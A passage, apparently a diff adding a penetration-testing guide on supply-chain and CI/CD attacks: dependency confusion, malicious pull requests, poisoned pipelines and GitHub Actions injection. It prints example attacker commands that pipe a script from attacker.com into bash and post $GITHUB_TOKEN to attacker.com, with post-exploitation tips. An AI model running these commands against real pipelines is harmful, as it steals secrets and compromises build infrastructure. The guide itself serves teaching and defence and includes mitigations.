+ 1. **Reconnaissance:** Analyze public `package.json`, `requirements.txt`, or exposed build logs to identify the names of internal, scoped, or private packages (e.g., `@acme-corp/auth-lib`).
22
+ 2. **Exploitation:** The attacker registers a package with the *exact same name* on the public registry (e.g., npmjs.com), giving it an artificially high version number (e.g., `99.99.99`).
23
+ 3. **Execution:** When the victim's CI/CD pipeline runs `npm install`, the package manager pulls the malicious package from the public registry due to the high version number, executing arbitrary code (via `preinstall` or `postinstall` scripts) on the build server.
24
+
25
+ ### B. Typosquatting
26
+ Similar to domain typosquatting, attackers register public packages with names closely resembling popular legitimate packages (e.g., registering `react-domm` instead of `react-dom` or `python-urllib3` instead of `urllib3`).
27
+ - **Impact:** Developers accidentally typing the wrong name execute malicious pre-install hooks, resulting in workstation compromise or credential theft.
28
+
29
+ ---
30
+
31
+ ## 2. CI/CD Pipeline Exploitation (GitHub Actions, GitLab CI)
32
+
33
+ CI/CD pipelines (Jenkins, GitHub Actions, GitLab CI) inherently hold highly privileged secrets (AWS access keys, SSH deployment keys, registry tokens) and have direct write access to production environments.
34
+
35
+ ### A. Malicious Pull Requests (PRs)
36
+ Many open-source repositories run automated tests (linting, building, unit tests) when a Pull Request is submitted from a fork.
37
+
38
+ 1. **The Attack:** An attacker forks a repository and submits a PR containing malicious code within test files, configuration files (e.g., `tox.ini`, `package.json` scripts), or the build scripts themselves.
39
+ 2. **Execution:** If the CI/CD pipeline automatically executes untrusted code from PRs without requiring approval (e.g., GitHub Actions `pull_request_target` event instead of `pull_request`), the malicious code runs on the organization's build runner.
40
+ 3. **Exfiltration:** The attacker's code dumps environment variables `env > out.txt` and exfiltrates the repository's secrets/tokens to an external server.
41
+
42
+ ### B. Poisoned Pipeline Execution (PPE)
43
+ If a developer can push code to a branch, they can modify the `.github/workflows/deploy.yml` or `Jenkinsfile` itself.
44
+
45
+ - **Direct PPE:** An attacker with write access changes the build steps to `curl http://attacker.com/malware.sh | bash`. This compromises the build agent, allowing lateral movement into the network or theft of hardcoded deployment secrets.
46
+ - **Indirect PPE:** Modifying the pipeline configuration to alter the deployment destination or upload malicious artifacts instead of the genuine build output.
47
+
48
+ ### C. Runner Takeover (Self-Hosted Runners)
49
+ Organizations often use self-hosted CI/CD runners (e.g., an AWS EC2 instance running the GitLab Runner agent) rather than shared cloud runners.
50
+ - If an attacker achieves RCE via a malicious PR on a persistent self-hosted runner, they can escape the container (if applicable) and compromise the host infrastructure, gaining access to the internal network and long-lived cloud credentials (IMDS).
51
+ - Cloud runners are ephemeral (destroyed after the job); self-hosted runners are often reused, meaning malware persists across build jobs.
52
+
53
+ ---
54
+
55
+ ## 3. GitHub Actions Specific Exploits
56
+
57
+ ### A. Command Injection / Context Injection
58
+ Unsanitized user input flowing into GitHub workflow execution blocks.
59
+
60
+ **Vulnerable Example:**
61
+ ```yaml
62
+ steps:
63
+ - run: echo "Issue title: ${{ github.event.issue.title }}"
64
+ ```
65
+ **Exploit:**
66
+ An attacker creates a GitHub Issue titled: `Title"; curl -X POST -d "$GITHUB_TOKEN" http://attacker.com; echo "x`.
67
+ When the workflow runs, the YAML evaluates to:
68
+ `echo "Issue title: Title"; curl -X POST -d "$GITHUB_TOKEN" http://attacker.com; echo "x"`
69
+ The attacker steals the dynamically generated `GITHUB_TOKEN`.
70
+
71
+ **Mitigation:**
72
+ Always use environment variables for untrusted input:
73
+ ```yaml
74
+ env:
75
+ TITLE: ${{ github.event.issue.title }}
76
+ steps:
77
+ - run: echo "Issue title: $TITLE"
78
+ ```
79
+
80
+ ### B. Third-Party Action Compromise
81
+ Workflows often rely on actions maintained by random third parties (e.g., `uses: untrusted-dev/cool-action@v1`). If that action's repository is compromised or the maintainer goes rogue, any pipeline relying on `@v1` automatically pulls the malicious code during the next build.
82
+
83
+ ---
84
+
85
+ ## 4. Source Code and Artifact Compromise
86
+
87
+ ### A. Compromising Upstream Repositories
88
+ Attackers target the core infrastructure of open-source projects or SaaS vendors.
89
+ 1. Stealing maintainer credentials (weak passwords, missing 2FA).
90
+ 2. Pushing malicious commits silently.
91
+ 3. Downstream users pull the compromised updates naturally.
92
+
93
+ ### B. Artifact Tampering
94
+ If the build process signs artifacts (e.g., Docker images, JAR files), but the signing key is loosely protected, or the verification steps downstream are flawed, an attacker can replace legitimate binaries on an artifact repository (like Nexus or Artifactory) with backdoored versions.
95
+
96
+ ---
97
+
98
+ ## 5. Secret Leaks & Hardcoded Credentials
99
+
100
+ The most common "supply chain" vulnerability is simply developers leaving keys in the codebase.
101
+ - AWS Keys, Database passwords, or API Keys committed to `.git` history.
102
+ - Attackers use tools like `trufflehog` or `gitleaks` to scan public or leaked repositories. Once a key is found, the attacker uses it to pivot into the cloud infrastructure or production databases, bypassing the application layer entirely.
103
+
104
+ ## Tooling & Methodology
105
+
106
+ ```bash
107
+ # Recon and Secret Scanning
108
+ trufflehog git https://github.com/target/repo
109
+ gitleaks detect --source . -v
110
+
111
+ # Dependency Vulnerability Scanning
112
+ npm audit
113
+ retire.js
114
+ safety check # for Python
115
+
116
+ # CI/CD Security Posture
117
+ Legitify # Checks GitHub/GitLab org/repo configurations for security issues
118
+ ```
119
+
120
+ ## Critical Pro Tips
121
+
122
+ 1. **Look for the `pull_request_target` Trigger (GitHub):** This event runs the workflow in the context of the *base* repository, not the fork, giving it access to repository secrets. It is incredibly dangerous if it checks out untrusted code or passes untrusted data to a `run` block.
123
+ 2. **Analyze `package-lock.json` and `yarn.lock`:** Don't just look at dependencies; look at where they are resolved from. Sometimes developers accidentally resolve packages to an insecure mirror (`http://...`) opening the door for MITM attacks during the build process.
124
+ 3. **Assume the Runner is Root:** When exploiting a CI/CD runner, assume you have maximum privileges over that machine. Treat it like a standard internal penetration test. Run linPEAS, check Docker sockets (`/var/run/docker.sock`), and query cloud metadata APIs immediately.
125
+ 4. **GitHub Token Enumeration:** If you extract the automatic `GITHUB_TOKEN` from a workflow, remember its permissions are determined by repository settings. It might only have read access, but it could have the power to create new releases, approve PRs, or modify repository settings.